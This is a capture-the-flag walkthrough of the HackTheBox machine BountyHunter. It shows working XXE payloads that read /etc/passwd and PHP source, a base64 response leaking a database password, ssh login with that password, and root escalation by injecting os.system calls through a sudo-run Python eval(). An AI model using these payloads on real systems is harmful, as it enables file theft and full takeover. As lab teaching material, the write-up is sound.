CyberSec Writeups

Red Team / Blue Team labs - HackTheBox, BlueTeamLabsOnline, TryHackMe, PortSwigger

HackTheBox: BountyHunter

burp-suite cyber-chef linux nmap python xml xxe

BountyHunter is a Linux-based machine authored by ejedev, with an average rating of 4.5 stars.

// Recon

nmap -A -p- 10.10.11.100
Starting Nmap 7.92 ( https://nmap.org ) at 2021-10-26 13:33 AEST
Nmap scan report for 10.10.11.100
Host is up (0.022s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
|   256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_  256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Bounty Hunters
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.42 seconds

Nmap confirms the machine is Linux-based (running Ubuntu) and reveals two open services:

Browsing to the IP presents us with a website for ‘The B Team’, a company offering web security services:

The site appears to be under development, and scanning the HTML source for comments doesn’t reveal anything interesting. Clicking on the Portal link routes us to http://10.10.11.100/portal.php, revealing that the site is built using PHP. We can follow the link on that page to a further page, Bounty Report System - Beta, which displays a basic form:

The form can be submitted, but apparently has no input validation - entering empty values for all fields is fine. So far this seems to be the most interesting area of the site, so the next step is to take a closer look at the traffic through Burp Suite. After entering some pseudo-sensible values into the form, Burp reveals that data is transmitted to the server as a single encoded variable:

The value of data looks url-encoded. Running it through CyberChef returns a value that in turn looks base64-encoded, which can itself be decoded to regular XML:

<?xml  version="1.0" encoding="ISO-8859-1"?>
<bugreport>
<title>Test</title>
<cwe>1234</cwe>
<cvss>9.5</cvss>
<reward>500</reward>
</bugreport>

// Initial Foothold

As outlined in the PortSwigger Web Security Academy, web applications that allow for the exchange of data in XML format can be vulnerable to XXE (XML eXternal Entity) attacks. One of the most commonly exploited XXE vulnerabilities is to leverage an external entity definition to steal sensitive files from the system, such as /etc/passwd. Using Burp we can modify the data payload prior to its encoding to test this out:

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<bugreport>
<title>Test</title>
<cwe>1234</cwe>
<cvss>9.5</cvss>
<reward>&xxe;</reward>
</bugreport>

The response to this request includes the contents of /etc/passwd, indicating the server is indeed vulnerable to XXE:

We know from the initial nmap scan that ssh is running on the machine, so this user list may provide an opportunity to enter the system that way. Any user with an invalid shell (e.g /usr/sbin/nologin, /bin/false) can immediately be discarded, as these accounts by definition cannot login. The development user therefore looks to be of most interest, but we still don’t have a password or ssh key at this stage:

development:x:1000:1000:Development:/home/development:/bin/bash

Using the XXE technique to probe for credentials, such as a private ssh-key belonging to the development user (e.g <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///home/development/.ssh/id_rsa"> ]>) is unsuccessful, meaning the file doesn’t exist or is inaccessible due to file permissions. At this point it seems we’ve exhausted this avenue, and need to go back to the website for further exploration.

Earlier we learned the site is running PHP, so now seems like a good opportunity to fuzz the site with an appropriate wordlist. In this case we’re using ffuf and a php-focused wordlist from the SecLists repo:

ffuf -u http://10.10.11.100/FUZZ -w /Sites/github/danielmiessler/SecLists/Discovery/Web-Content/Common-PHP-Filenames.txt -mc 200,403

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.3.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.100/FUZZ
 :: Wordlist         : FUZZ: /Sites/github/danielmiessler/SecLists/Discovery/Web-Content/Common-PHP-Filenames.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,403
________________________________________________

index.php               [Status: 200, Size: 25168, Words: 10028, Lines: 389]
db.php                  [Status: 200, Size: 0, Words: 1, Lines: 1]
portal.php              [Status: 200, Size: 125, Words: 11, Lines: 6]
:: Progress: [5163/5163] :: Job [1/1] :: 1812 req/sec :: Duration: [0:00:05] :: Errors: 0 ::

We’ve already discovered index.php and portal.php through browsing, but db.php hasn’t been seen so far. Files such as this can often be used to store credentials or other sensitive information, especially while a site is still under development. The server prevents us from accessing the file’s source code directly, by running (interpreting) the php code whenever we try to access the file, but our XXE file-retrieval trick from earlier may be able to help:

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/db.php"> ]>
<bugreport>
<title>Test</title>
<cwe>1234</cwe>
<cvss>9.5</cvss>
<reward>&xxe;</reward>
</bugreport>

We’ve swapped from the file:// wrapper to php://, which allows us to base64-encode a file prior to retrieving it. Php code makes use of characters that would break the XML response format, but encoding allows us to smuggle out the source-code in an acceptable form. The response is as follows:

If DB were ready, would have added:
<table>
  <tr>
    <td>Title:</td>
    <td>Test</td>
  </tr>
  <tr>
    <td>CWE:</td>
    <td>1234</td>
  </tr>
  <tr>
    <td>Score:</td>
    <td>9.5</td>
  </tr>
  <tr>
    <td>Reward:</td>
    <td>PD9waHAKLy8gVE9ETyAtPiBJbXBsZW1lbnQgbG9naW4gc3lzdGVtIHdpdGggdGhlIGRhdGFiYXNlLgokZGJzZXJ2ZXIgPSAibG9jYWxob3N0IjsKJGRibmFtZSA9ICJib3VudHkiOwokZGJ1c2VybmFtZSA9ICJhZG1pbiI7CiRkYnBhc3N3b3JkID0gIm0xOVJvQVUwaFA0MUExc1RzcTZLIjsKJHRlc3R1c2VyID0gInRlc3QiOwo/Pgo=</td>
  </tr>
</table>

Running the encoded value through CyberChef again returns the original source-code:

<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m*******************";
$testuser = "test";

We now have a new login admin, as well as a password. Using these together as ssh credentials doesn’t work, but using the newly-found password with our previously identified user development does:

ssh development@10.10.11.100                                                                                                                                    255 ✘
development@10.10.11.100's password:
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)

development@bountyhunter:~$

Checking the contents of the home directory, we quickly find the usual user.txt file containing the key to claim User-Own:

development@bountyhunter:~$ ls
contract.txt  user.txt

// Privilege Escalation

The contract.php file in the same directory seems like a good place to start our quest for System-Own:

development@bountyhunter:~$ cat contract.txt
Hey team,

I'll be out of the office this week but please make sure that our contract with Skytrain Inc gets completed.

This has been our first job since the "rm -rf" incident and we can't mess this up. Whenever one of you gets on please have a look at the internal tool they sent over. There have been a handful of tickets submitted that have been failing validation and I need you to figure out why.

I set up the permissions for you to test this. Good luck.

-- John

“I set up the permissions for you to test this” sounds interesting. Checking for commands our development user is allowed to execute at elevated privileges reveals more:

development@bountyhunter:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User development may run the following commands on bountyhunter:
    (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py

The /opt/syktrain_inc directory contains a python script and an invalid_tickets sub-directory. Custom source-code is a frequent source of security vulnerabilities, so let’s look closer at ticketValidator.py:

#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.

def load_file(loc):
    if loc.endswith(".md"):
        return open(loc, 'r')
    else:
        print("Wrong file type.")
        exit()

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
            continue
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue

        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue

        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False
    return False

def main():
    fileName = input("Please enter the path to the ticket file.\n")
    ticket = load_file(fileName)
    #DEBUG print(ticket)
    result = evaluate(ticket)
    if (result):
        print("Valid ticket.")
    else:
        print("Invalid ticket.")
    ticket.close

main()

The script is meant to represent a basic ticket validation system. It begins by loading the ticket specified from file (load_file(fileName)) and then evaluating it against some pre-defined logic (evalute(ticket)). Even though the process is trivial, it already displays an indication of the kind of vulnerabilities that plague many web apps - the assumption-laden processing of untrusted input. Sure enough, looking closer at the source code shows our potential way in:

validationNumber = eval(x.replace("**", ""))

Python’s eval function (and its equivalent is many other languages) is designed to execute input as code. If the validation of that input is not iron-clad, the function represents a serious security risk, which is why many development teams forbid its use. In this instance we can craft our own ticket to contain a malicious payload, and as long as it conforms to the validation rules, we can run it with elevated privileges.

With our fake ticket written to file at /tmp/ticket.md:

# Skytrain Inc
## Ticket to abc123
__Ticket Code:__
**144+3==147 and print(__import__('os').system('ls -l /root'))

we can run the script and have our payload executed, in this case listing the contents of /root:

sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
/tmp/ticket.md
Destination: abc123
total 8
-r-------- 1 root root   33 Oct 26 10:55 root.txt
drwxr-xr-x 3 root root 4096 Apr  5  2021 snap

From here, we only need to make a minor adjustment to our payload to output the contents of the root.txt file, giving us the System-Own key:

# Skytrain Inc
## Ticket to abc123
__Ticket Code:__
**144+3==147 and print(__import__('os').system('cat /root/root.txt'))

development@bountyhunter:/opt$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
/tmp/ticket.md
Destination: abc123
6*******************************
0